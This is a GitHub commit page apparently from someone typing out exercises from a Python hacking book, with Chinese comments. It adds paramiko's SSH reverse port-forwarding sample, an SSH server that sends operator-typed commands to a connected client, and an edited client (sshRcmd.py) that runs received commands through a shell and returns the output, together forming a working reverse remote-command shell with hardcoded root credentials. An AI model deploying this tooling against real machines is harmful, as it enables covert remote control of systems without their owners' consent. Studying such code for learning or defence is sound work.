Skip to content

Commit c521eb6

Browse files
author
giantbranch
committed
chapter 3:sniffer
1 parent 79c1da6 commit c521eb6

File tree

12 files changed

+838
-245
lines changed

12 files changed

+838
-245
lines changed

我手敲的代码(中文注释)/.idea/.name

Lines changed: 1 addition & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

我手敲的代码(中文注释)/.idea/misc.xml

Lines changed: 14 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

我手敲的代码(中文注释)/.idea/modules.xml

Lines changed: 8 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

我手敲的代码(中文注释)/.idea/vcs.xml

Lines changed: 6 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

我手敲的代码(中文注释)/.idea/workspace.xml

Lines changed: 529 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

我手敲的代码(中文注释)/.idea/我手敲的代码(中文注释).iml

Lines changed: 8 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.
Lines changed: 167 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,167 @@
1+
#!/usr/bin/env python
2+
3+
# Copyright (C) 2008 Robey Pointer <robeypointer@gmail.com>
4+
#
5+
# This file is part of paramiko.
6+
#
7+
# Paramiko is free software; you can redistribute it and/or modify it under the
8+
# terms of the GNU Lesser General Public License as published by the Free
9+
# Software Foundation; either version 2.1 of the License, or (at your option)
10+
# any later version.
11+
#
12+
# Paramiko is distributed in the hope that it will be useful, but WITHOUT ANY
13+
# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
14+
# A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more
15+
# details.
16+
#
17+
# You should have received a copy of the GNU Lesser General Public License
18+
# along with Paramiko; if not, write to the Free Software Foundation, Inc.,
19+
# 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA.
20+
21+
"""
22+
Sample script showing how to do remote port forwarding over paramiko.
23+
24+
This script connects to the requested SSH server and sets up remote port
25+
forwarding (the openssh -R option) from a remote port through a tunneled
26+
connection to a destination reachable from the local machine.
27+
"""
28+
29+
import getpass
30+
import os
31+
import socket
32+
import select
33+
import sys
34+
import threading
35+
from optparse import OptionParser
36+
37+
import paramiko
38+
39+
SSH_PORT = 22
40+
DEFAULT_PORT = 4000
41+
42+
g_verbose = True
43+
44+
45+
def handler(chan, host, port):
46+
sock = socket.socket()
47+
try:
48+
sock.connect((host, port))
49+
except Exception as e:
50+
verbose('Forwarding request to %s:%d failed: %r' % (host, port, e))
51+
return
52+
53+
verbose('Connected! Tunnel open %r -> %r -> %r' % (chan.origin_addr,
54+
chan.getpeername(), (host, port)))
55+
while True:
56+
r, w, x = select.select([sock, chan], [], [])
57+
if sock in r:
58+
data = sock.recv(1024)
59+
if len(data) == 0:
60+
break
61+
chan.send(data)
62+
if chan in r:
63+
data = chan.recv(1024)
64+
if len(data) == 0:
65+
break
66+
sock.send(data)
67+
chan.close()
68+
sock.close()
69+
verbose('Tunnel closed from %r' % (chan.origin_addr,))
70+
71+
72+
def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):
73+
transport.request_port_forward('', server_port)
74+
while True:
75+
chan = transport.accept(1000)
76+
if chan is None:
77+
continue
78+
thr = threading.Thread(target=handler, args=(chan, remote_host, remote_port))
79+
thr.setDaemon(True)
80+
thr.start()
81+
82+
83+
def verbose(s):
84+
if g_verbose:
85+
print(s)
86+
87+
88+
HELP = """\
89+
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
90+
port on the SSH server (given with -p) is forwarded across an SSH session
91+
back to the local machine, and out to a remote site reachable from this
92+
network. This is similar to the openssh -R option.
93+
"""
94+
95+
96+
def get_host_port(spec, default_port):
97+
"parse 'hostname:22' into a host and port, with the port optional"
98+
args = (spec.split(':', 1) + [default_port])[:2]
99+
args[1] = int(args[1])
100+
return args[0], args[1]
101+
102+
103+
def parse_options():
104+
global g_verbose
105+
106+
parser = OptionParser(usage='usage: %prog [options] <ssh-server>[:<server-port>]',
107+
version='%prog 1.0', description=HELP)
108+
parser.add_option('-q', '--quiet', action='store_false', dest='verbose', default=True,
109+
help='squelch all informational output')
110+
parser.add_option('-p', '--remote-port', action='store', type='int', dest='port',
111+
default=DEFAULT_PORT,
112+
help='port on server to forward (default: %d)' % DEFAULT_PORT)
113+
parser.add_option('-u', '--user', action='store', type='string', dest='user',
114+
default=getpass.getuser(),
115+
help='username for SSH authentication (default: %s)' % getpass.getuser())
116+
parser.add_option('-K', '--key', action='store', type='string', dest='keyfile',
117+
default=None,
118+
help='private key file to use for SSH authentication')
119+
parser.add_option('', '--no-key', action='store_false', dest='look_for_keys', default=True,
120+
help='don\'t look for or use a private key file')
121+
parser.add_option('-P', '--password', action='store_true', dest='readpass', default=False,
122+
help='read password (for key or password auth) from stdin')
123+
parser.add_option('-r', '--remote', action='store', type='string', dest='remote', default=None, metavar='host:port',
124+
help='remote host and port to forward to')
125+
options, args = parser.parse_args()
126+
127+
if len(args) != 1:
128+
parser.error('Incorrect number of arguments.')
129+
if options.remote is None:
130+
parser.error('Remote address required (-r).')
131+
132+
g_verbose = options.verbose
133+
server_host, server_port = get_host_port(args[0], SSH_PORT)
134+
remote_host, remote_port = get_host_port(options.remote, SSH_PORT)
135+
return options, (server_host, server_port), (remote_host, remote_port)
136+
137+
138+
def main():
139+
options, server, remote = parse_options()
140+
141+
password = None
142+
if options.readpass:
143+
password = getpass.getpass('Enter SSH password: ')
144+
145+
client = paramiko.SSHClient()
146+
client.load_system_host_keys()
147+
client.set_missing_host_key_policy(paramiko.WarningPolicy())
148+
149+
verbose('Connecting to ssh host %s:%d ...' % (server[0], server[1]))
150+
try:
151+
client.connect(server[0], server[1], username=options.user, key_filename=options.keyfile,
152+
look_for_keys=options.look_for_keys, password=password)
153+
except Exception as e:
154+
print('*** Failed to connect to %s:%d: %r' % (server[0], server[1], e))
155+
sys.exit(1)
156+
157+
verbose('Now forwarding remote port %d to %s:%d ...' % (options.port, remote[0], remote[1]))
158+
159+
try:
160+
reverse_forward_tunnel(options.port, remote[0], remote[1], client.get_transport())
161+
except KeyboardInterrupt:
162+
print('C-c: Port forwarding stopped.')
163+
sys.exit(0)
164+
165+
166+
if __name__ == '__main__':
167+
main()

我手敲的代码(中文注释)/chapter2/sshRcmd.py

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -4,11 +4,11 @@
44
import paramiko
55
import subprocess
66

7-
def ssh_command(ip, user, passwd, command):
7+
def ssh_command(ip, user, passwd, command, port = 22):
88
client = paramiko.SSHClient()
99
# client.load_host_keys('/home/root/.ssh/known_hosts') #支持用密钥认证代替密码验证,实际环境推荐使用密钥认证
1010
client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #设置自动添加和保存目标ssh服务器的ssh密钥
11-
client.connect(ip, username=user, password=passwd) #连接
11+
client.connect(ip, port, username=user, password=passwd) #连接
1212
ssh_session = client.get_transport().open_session() #打开会话
1313
if ssh_session.active:
1414
ssh_session.exec_command(command) #执行命令
@@ -18,9 +18,9 @@ def ssh_command(ip, user, passwd, command):
1818
try:
1919
cmd_output = subprocess.check_output(command, shell=True)
2020
ssh_session.send(str(cmd_output))
21-
except:
21+
except Exception, e:
2222
ssh_session.send(str(e))
2323
client.close()
2424
return
2525

26-
ssh_command('192.168.88.105', 'pi', 'raspberry', 'ClientConnected')
26+
ssh_command('10.10.10.145', 'root', 'lovepython', 'ClientConnected', 2222)
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
#-*- coding:utf8 -*-
2+
3+
import socket
4+
import paramiko
5+
import threading
6+
import sys
7+
8+
# 使用 Paramiko示例文件的密钥
9+
#host_key = paramiko.RSAKey(filename='test_rsa.key')
10+
host_key = paramiko.RSAKey(filename='/root/.ssh/id_rsa')
11+
12+
class Server(paramiko.ServerInterface):
13+
def __init__(self):
14+
self.event = threading.Event()
15+
def check_channel_request(self, kind, chanid):
16+
if kind == 'session':
17+
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
18+
def check_auth_password(self, username, password):
19+
if (username == 'root') and (password == 'lovepython'):
20+
return paramiko.AUTH_SUCCESSFUL
21+
return paramiko.AUTH_FAILED
22+
23+
server = sys.argv[1]
24+
ssh_port = int(sys.argv[2])
25+
try:
26+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #TCP socket
27+
#这里value设置为1,表示将SO_REUSEADDR标记为TRUE,操作系统会在服务器socket被关闭或服务器进程终止后马上释放该服务器的端口,否则操作系统会保留几分钟该端口。
28+
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
29+
sock.bind((server, ssh_port)) #绑定ip和端口
30+
sock.listen(100) #最大连接数为100
31+
print '[+] Listening for connection ...'
32+
client, addr = sock.accept()
33+
except Exception, e:
34+
print '[-] Listen failed: ' + str(e)
35+
sys.exit(1)
36+
print '[+] Got a connection!'
37+
38+
try:
39+
bhSession = paramiko.Transport(client)
40+
bhSession.add_server_key(host_key)
41+
server = Server()
42+
try:
43+
bhSession.start_server(server=server)
44+
except paramiko.SSHException, x:
45+
print '[-] SSH negotiation failed'
46+
chan = bhSession.accept(20) #设置超时值为20
47+
print '[+] Authenticated!'
48+
print chan.recv(1024)
49+
chan.send("Welcome to my ssh")
50+
while True:
51+
try:
52+
command = raw_input("Enter command:").strip("\n") #strip移除字符串头尾指定的字符(默认为空格),这里是换行
53+
if command != 'exit':
54+
chan.send(command)
55+
print chan.recv(1024) + '\n'
56+
else:
57+
chan.send('exit')
58+
print 'exiting'
59+
bhSession.close()
60+
raise Exception('exit')
61+
except KeyboardInterrupt:
62+
bhSession.close()
63+
except Exception, e:
64+
print '[-] Caught exception: ' + str(e)
65+
try:
66+
bhSession.close()
67+
except:
68+
pass
69+
sys.exit(1)
70+

0 commit comments

Comments
 (0)